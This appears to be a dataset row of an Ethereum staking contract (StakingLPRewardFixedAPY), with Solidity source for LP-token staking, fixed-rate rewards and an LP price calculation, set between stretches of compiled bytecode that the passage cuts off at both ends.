660009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8357600080fd5b600360149054906101000a900460ff16151515610c9f57600080fd5b610cb48260015461188390919063ffffffff16565b600181905550610d0b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610f1c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fb0565b610f2f838261186a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561114257600080fd5b600360149054906101000a900460ff1615151561115e57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112685780601f1061123d57610100808354040283529160200191611268565b820191906000526020600020905b81548152906001019060200180831161124b57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112ad57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112fa57600080fd5b61134b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186a90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113de826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061152082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117aa57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561187857fe5b818303905092915050565b6000818301905082811015151561189657fe5b809050929150505600a165627a7a723058200a5a690f5eb77bd258e31096df1f796ae6350afedcdc3895c311bcdb0ab630860029 | {"success": true, "error": null, "results": {}} | 9,929 |
0x0eca9bdBD49C6980610EB6cA15515Dc1a54B86f1 | /**
*Submitted for verification at Etherscan.io on 2021-02-27
*/
pragma solidity =0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function decimals() external pure returns (uint);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface INimbusPair is IERC20 {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface INimbusRouter {
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner, "Ownable: Caller is not the owner");
_;
}
function transferOwnership(address transferOwner) public onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() virtual public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in construction,
// since the code is only stored at the end of the constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
interface IStakingRewards {
function earned(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function stake(uint256 amount) external;
function stakeFor(uint256 amount, address user) external;
function getReward() external;
function withdraw(uint256 nonce) external;
function withdrawAndGetReward(uint256 nonce) external;
}
interface IERC20Permit {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
contract StakingLPRewardFixedAPY is IStakingRewards, ReentrancyGuard, Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public immutable rewardsToken;
INimbusPair public immutable stakingLPToken;
INimbusRouter public swapRouter;
address public immutable lPPairTokenA;
address public immutable lPPairTokenB;
uint256 public rewardRate;
uint256 public constant rewardDuration = 365 days;
mapping(address => uint256) public weightedStakeDate;
mapping(address => mapping(uint256 => uint256)) public stakeAmounts;
mapping(address => mapping(uint256 => uint256)) public stakeAmountsRewardEquivalent;
mapping(address => uint256) public stakeNonces;
uint256 private _totalSupply;
uint256 private _totalSupplyRewardEquivalent;
uint256 private immutable _tokenADecimalCompensate;
uint256 private immutable _tokenBDecimalCompensate;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _balancesRewardEquivalent;
event RewardUpdated(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event Rescue(address to, uint256 amount);
event RescueToken(address to, address token, uint256 amount);
constructor(
address _rewardsToken,
address _stakingLPToken,
address _lPPairTokenA,
address _lPPairTokenB,
address _swapRouter,
uint _rewardRate
) {
rewardsToken = IERC20(_rewardsToken);
stakingLPToken = INimbusPair(_stakingLPToken);
swapRouter = INimbusRouter(_swapRouter);
rewardRate = _rewardRate;
lPPairTokenA = _lPPairTokenA;
lPPairTokenB = _lPPairTokenB;
uint tokenADecimals = IERC20(_lPPairTokenA).decimals();
require(tokenADecimals >= 6, "StakingLPRewardFixedAPY: small amount of decimals");
_tokenADecimalCompensate = tokenADecimals.sub(6);
uint tokenBDecimals = IERC20(_lPPairTokenB).decimals();
require(tokenBDecimals >= 6, "StakingLPRewardFixedAPY: small amount of decimals");
_tokenBDecimalCompensate = tokenBDecimals.sub(6);
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function totalSupplyRewardEquivalent() external view returns (uint256) {
return _totalSupplyRewardEquivalent;
}
function getDecimalPriceCalculationCompensate() external view returns (uint tokenADecimalCompensate, uint tokenBDecimalCompensate) {
tokenADecimalCompensate = _tokenADecimalCompensate;
tokenBDecimalCompensate = _tokenBDecimalCompensate;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function balanceOfRewardEquivalent(address account) external view returns (uint256) {
return _balancesRewardEquivalent[account];
}
function earned(address account) public view override returns (uint256) {
return (_balancesRewardEquivalent[account].mul(block.timestamp.sub(weightedStakeDate[account])).mul(rewardRate)) / (100 * rewardDuration);
}
function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant {
require(amount > 0, "StakingLPRewardFixedAPY: Cannot stake 0");
// permit
IERC20Permit(address(stakingLPToken)).permit(msg.sender, address(this), amount, deadline, v, r, s);
_stake(amount, msg.sender);
}
function stake(uint256 amount) external override nonReentrant {
require(amount > 0, "StakingLPRewardFixedAPY: Cannot stake 0");
_stake(amount, msg.sender);
}
function stakeFor(uint256 amount, address user) external override nonReentrant {
require(amount > 0, "StakingLPRewardFixedAPY: Cannot stake 0");
_stake(amount, user);
}
function _stake(uint256 amount, address user) private {
IERC20(stakingLPToken).safeTransferFrom(msg.sender, address(this), amount);
uint amountRewardEquivalent = getCurrentLPPrice().mul(amount) / 10 ** 18;
_totalSupply = _totalSupply.add(amount);
_totalSupplyRewardEquivalent = _totalSupplyRewardEquivalent.add(amountRewardEquivalent);
uint previousAmount = _balances[user];
uint newAmount = previousAmount.add(amount);
weightedStakeDate[user] = (weightedStakeDate[user].mul(previousAmount) / newAmount).add(block.timestamp.mul(amount) / newAmount);
_balances[user] = newAmount;
uint stakeNonce = stakeNonces[user]++;
stakeAmounts[user][stakeNonce] = amount;
stakeAmountsRewardEquivalent[user][stakeNonce] = amountRewardEquivalent;
_balancesRewardEquivalent[user] = _balancesRewardEquivalent[user].add(amountRewardEquivalent);
emit Staked(user, amount);
}
//A user can withdraw its staking tokens even if there is no rewards tokens on the contract account
function withdraw(uint256 nonce) public override nonReentrant {
require(stakeAmounts[msg.sender][nonce] > 0, "StakingLPRewardFixedAPY: This stake nonce was withdrawn");
uint amount = stakeAmounts[msg.sender][nonce];
uint amountRewardEquivalent = stakeAmountsRewardEquivalent[msg.sender][nonce];
_totalSupply = _totalSupply.sub(amount);
_totalSupplyRewardEquivalent = _totalSupplyRewardEquivalent.sub(amountRewardEquivalent);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_balancesRewardEquivalent[msg.sender] = _balancesRewardEquivalent[msg.sender].sub(amountRewardEquivalent);
IERC20(stakingLPToken).safeTransfer(msg.sender, amount);
stakeAmounts[msg.sender][nonce] = 0;
stakeAmountsRewardEquivalent[msg.sender][nonce] = 0;
emit Withdrawn(msg.sender, amount);
}
function getReward() public override nonReentrant {
uint256 reward = earned(msg.sender);
if (reward > 0) {
weightedStakeDate[msg.sender] = block.timestamp;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function withdrawAndGetReward(uint256 nonce) external override {
getReward();
withdraw(nonce);
}
function getCurrentLPPrice() public view returns (uint) {
// LP PRICE = 2 * SQRT(reserveA * reaserveB ) * SQRT(token1/RewardTokenPrice * token2/RewardTokenPrice) / LPTotalSupply
uint tokenAToRewardPrice;
uint tokenBToRewardPrice;
address rewardToken = address(rewardsToken);
address[] memory path = new address[](2);
path[1] = address(rewardToken);
if (lPPairTokenA != rewardToken) {
path[0] = lPPairTokenA;
tokenAToRewardPrice = swapRouter.getAmountsOut(10 ** 6, path)[1];
if (_tokenADecimalCompensate > 0)
tokenAToRewardPrice = tokenAToRewardPrice.mul(10 ** _tokenADecimalCompensate);
} else {
tokenAToRewardPrice = 10 ** 18;
}
if (lPPairTokenB != rewardToken) {
path[0] = lPPairTokenB;
tokenBToRewardPrice = swapRouter.getAmountsOut(10 ** 6, path)[1];
if (_tokenBDecimalCompensate > 0)
tokenBToRewardPrice = tokenBToRewardPrice.mul(10 ** _tokenBDecimalCompensate);
} else {
tokenBToRewardPrice = 10 ** 18;
}
uint totalLpSupply = IERC20(stakingLPToken).totalSupply();
require(totalLpSupply > 0, "StakingLPRewardFixedAPY: No liquidity for pair");
(uint reserveA, uint reaserveB,) = stakingLPToken.getReserves();
uint price =
uint(2).mul(Math.sqrt(reserveA.mul(reaserveB))
.mul(Math.sqrt(tokenAToRewardPrice.mul(tokenBToRewardPrice)))) / totalLpSupply;
return price;
}
function updateRewardAmount(uint256 reward) external onlyOwner {
rewardRate = reward;
emit RewardUpdated(reward);
}
function updateSwapRouter(address newSwapRouter) external onlyOwner {
require(newSwapRouter != address(0), "StakingLPRewardFixedAPY: Address is zero");
swapRouter = INimbusRouter(newSwapRouter);
}
function rescue(address to, IERC20 token, uint256 amount) external onlyOwner {
require(to != address(0), "StakingLPRewardFixedAPY: Cannot rescue to the zero address");
require(amount > 0, "StakingLPRewardFixedAPY: Cannot rescue 0");
require(token != stakingLPToken, "StakingLPRewardFixedAPY: Cannot rescue staking token");
//owner can rescue rewardsToken if there is spare unused tokens on staking contract balance
token.safeTransfer(to, amount);
emit RescueToken(to, address(token), amount);
}
function rescue(address payable to, uint256 amount) external onlyOwner {
require(to != address(0), "StakingLPRewardFixedAPY: Cannot rescue to the zero address");
require(amount > 0, "StakingLPRewardFixedAPY: Cannot rescue 0");
to.transfer(amount);
emit Rescue(to, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101ef5760003560e01c806386a9d8a81161010f578063c41f7808116100a2578063ecd9ba8211610071578063ecd9ba82146103a1578063f2fde38b146103b4578063f44c407a146103c7578063f520e7e5146103da576101ef565b8063c41f780814610381578063d1af0c7d14610389578063d4ee1d9014610391578063d72164fe14610399576101ef565b8063ac348bb2116100de578063ac348bb214610340578063b98b677f14610353578063baee99c214610366578063c31c9c0714610379576101ef565b806386a9d8a8146102ff5780638da5cb5b146103125780638edc7f2d1461031a578063a694fc3a1461032d576101ef565b8063389b70b31161018757806370a082311161015657806370a08231146102c957806379ba5097146102dc5780637a4e4ecf146102e45780637b0a47ee146102f7576101ef565b8063389b70b3146102855780633d18b9121461029b57806351746bb2146102a3578063673434b2146102b6576101ef565b80631cb1f5b6116101c35780631cb1f5b61461024f57806320ff430b146102575780632cb7714f1461026a5780632e1a7d4d14610272576101ef565b80628cc262146101f45780630d9df9c21461021d57806315c2ba141461023257806318160ddd14610247575b600080fd5b610207610202366004611eb8565b6103e2565b6040516102149190612712565b60405180910390f35b610225610474565b604051610214919061215e565b610245610240366004612079565b610498565b005b610207610532565b610207610538565b610245610265366004611eff565b61053e565b6102256106fd565b610245610280366004612079565b610721565b61028d610919565b60405161021492919061271b565b61024561095f565b6102456102b13660046120a9565b610a6e565b6102076102c4366004611eb8565b610b09565b6102076102d7366004611eb8565b610b31565b610245610b59565b6102456102f2366004611ed4565b610c15565b610207610d6e565b61020761030d366004611eb8565b610d74565b610225610d86565b610207610328366004611f3f565b610da2565b61024561033b366004612079565b610dbf565b61020761034e366004611f3f565b610e55565b610245610361366004611eb8565b610e72565b610207610374366004611eb8565b610f57565b610225610f69565b610225610f85565b610225610fa9565b610225610fcd565b610207610fe9565b6102456103af3660046120d8565b6116c0565b6102456103c2366004611eb8565b61180e565b6102456103d5366004612079565b6118ce565b6102076118df565b60006103f36301e1338060646128ac565b60045473ffffffffffffffffffffffffffffffffffffffff8416600090815260056020526040902054610462919061045c906104309042906118e7565b73ffffffffffffffffffffffffffffffffffffffff87166000908152600c602052604090205490611939565b90611939565b61046c9190612741565b90505b919050565b7f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981565b60015473ffffffffffffffffffffffffffffffffffffffff1633146104f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b60405180910390fd5b60048190556040517fcb94909754d27c309adf4167150f1f7aa04de40b6a0e6bb98b2ae80a2bf438f690610527908390612712565b60405180910390a150565b60095490565b600a5490565b60015473ffffffffffffffffffffffffffffffffffffffff16331461058f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b73ffffffffffffffffffffffffffffffffffffffff83166105dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906126b5565b60008111610616576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906125ea565b7f000000000000000000000000a0771dfe3e96218b97113faec7bbcbc3f500abe773ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561069c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612530565b6106bd73ffffffffffffffffffffffffffffffffffffffff8316848361199f565b7faabf44ab9d5bef08d1b60f287a337f0d11a248e49741ad189b429e47e98ba9108383836040516106f0939291906121a5565b60405180910390a1505050565b7f0000000000000000000000000bcd83df58a1bfd25b1347f9c9da1b7118b648a681565b60016000808282546107339190612729565b9091555050600080543382526006602090815260408084208585529091529091205461078b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612328565b336000818152600660209081526040808320868452825280832054938352600782528083208684529091529020546009546107c690836118e7565b600955600a546107d690826118e7565b600a55336000908152600b60205260409020546107f390836118e7565b336000908152600b6020908152604080832093909355600c9052205461081990826118e7565b336000818152600c602052604090209190915561086e907f000000000000000000000000a0771dfe3e96218b97113faec7bbcbc3f500abe773ffffffffffffffffffffffffffffffffffffffff16908461199f565b33600081815260066020908152604080832088845282528083208390558383526007825280832088845290915280822091909155517f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5906108d0908590612712565b60405180910390a250506000548114610915576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b5050565b7f000000000000000000000000000000000000000000000000000000000000000c907f000000000000000000000000000000000000000000000000000000000000000c90565b60016000808282546109719190612729565b90915550506000805490610984336103e2565b90508015610a2f573360008181526005602052604090204290556109e0907f000000000000000000000000eb58343b36c7528f23caae63a15024024131004973ffffffffffffffffffffffffffffffffffffffff16908361199f565b3373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e048682604051610a269190612712565b60405180910390a25b506000548114610a6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b50565b6001600080828254610a809190612729565b909155505060005482610abf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612476565b610ac98383611a40565b6000548114610b04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b505050565b73ffffffffffffffffffffffffffffffffffffffff166000908152600c602052604090205490565b73ffffffffffffffffffffffffffffffffffffffff166000908152600b602052604090205490565b60025473ffffffffffffffffffffffffffffffffffffffff163314610b7d57600080fd5b60025460015460405173ffffffffffffffffffffffffffffffffffffffff92831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360028054600180547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60015473ffffffffffffffffffffffffffffffffffffffff163314610c66576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b73ffffffffffffffffffffffffffffffffffffffff8216610cb3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906126b5565b60008111610ced576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906125ea565b60405173ffffffffffffffffffffffffffffffffffffffff83169082156108fc029083906000818181858888f19350505050158015610d30573d6000803e3d6000fd5b507f542fa6bfee3b4746210fbdd1d83f9e49b65adde3639f8d8f165dd18347938af28282604051610d6292919061217f565b60405180910390a15050565b60045481565b60086020526000908152604090205481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b600660209081526000928352604080842090915290825290205481565b6001600080828254610dd19190612729565b909155505060005481610e10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612476565b610e1a8233611a40565b6000548114610915576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b600760209081526000928352604080842090915290825290205481565b60015473ffffffffffffffffffffffffffffffffffffffff163314610ec3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b73ffffffffffffffffffffffffffffffffffffffff8116610f10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612385565b600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60056020526000908152604090205481565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000a0771dfe3e96218b97113faec7bbcbc3f500abe781565b7f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b604080516002808252606082018352600092839283927f000000000000000000000000eb58343b36c7528f23caae63a1502402413100499284929190602083019080368337019050509050818160018151811061106f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101527f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981169083161461129b577f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981600081518110611118577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526003546040517fd06ca61f00000000000000000000000000000000000000000000000000000000815291169063d06ca61f9061118090620f4240908590600401612224565b60006040518083038186803b15801561119857600080fd5b505afa1580156111ac573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526111f29190810190611f51565b60018151811061122b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151935060007f000000000000000000000000000000000000000000000000000000000000000c11156112965761129361128c7f000000000000000000000000000000000000000000000000000000000000000c600a6127c0565b8590611939565b93505b6112a7565b670de0b6b3a764000093505b8173ffffffffffffffffffffffffffffffffffffffff167f0000000000000000000000000bcd83df58a1bfd25b1347f9c9da1b7118b648a673ffffffffffffffffffffffffffffffffffffffff16146114d8577f0000000000000000000000000bcd83df58a1bfd25b1347f9c9da1b7118b648a681600081518110611355577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526003546040517fd06ca61f00000000000000000000000000000000000000000000000000000000815291169063d06ca61f906113bd90620f4240908590600401612224565b60006040518083038186803b1580156113d557600080fd5b505afa1580156113e9573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261142f9190810190611f51565b600181518110611468577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151925060007f000000000000000000000000000000000000000000000000000000000000000c11156114d3576114d06114c97f000000000000000000000000000000000000000000000000000000000000000c600a6127c0565b8490611939565b92505b6114e4565b670de0b6b3a764000092505b60007f000000000000000000000000a0771dfe3e96218b97113faec7bbcbc3f500abe773ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561154c57600080fd5b505afa158015611560573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115849190612091565b9050600081116115c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906124d3565b6000807f000000000000000000000000a0771dfe3e96218b97113faec7bbcbc3f500abe773ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561162957600080fd5b505afa15801561163d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611661919061202b565b506dffffffffffffffffffffffffffff91821693501690506000836116a96116a161169461168f8c8c611939565b611c69565b61045c61168f8888611939565b600290611939565b6116b39190612741565b9850505050505050505090565b60016000808282546116d29190612729565b909155505060005485611711576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612476565b6040517fd505accf00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000a0771dfe3e96218b97113faec7bbcbc3f500abe7169063d505accf9061178f90339030908b908b908b908b908b906004016121d6565b600060405180830381600087803b1580156117a957600080fd5b505af11580156117bd573d6000803e3d6000fd5b505050506117cb8633611a40565b6000548114611806576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff16331461185f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b60025473ffffffffffffffffffffffffffffffffffffffff8281169116141561188757600080fd5b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffff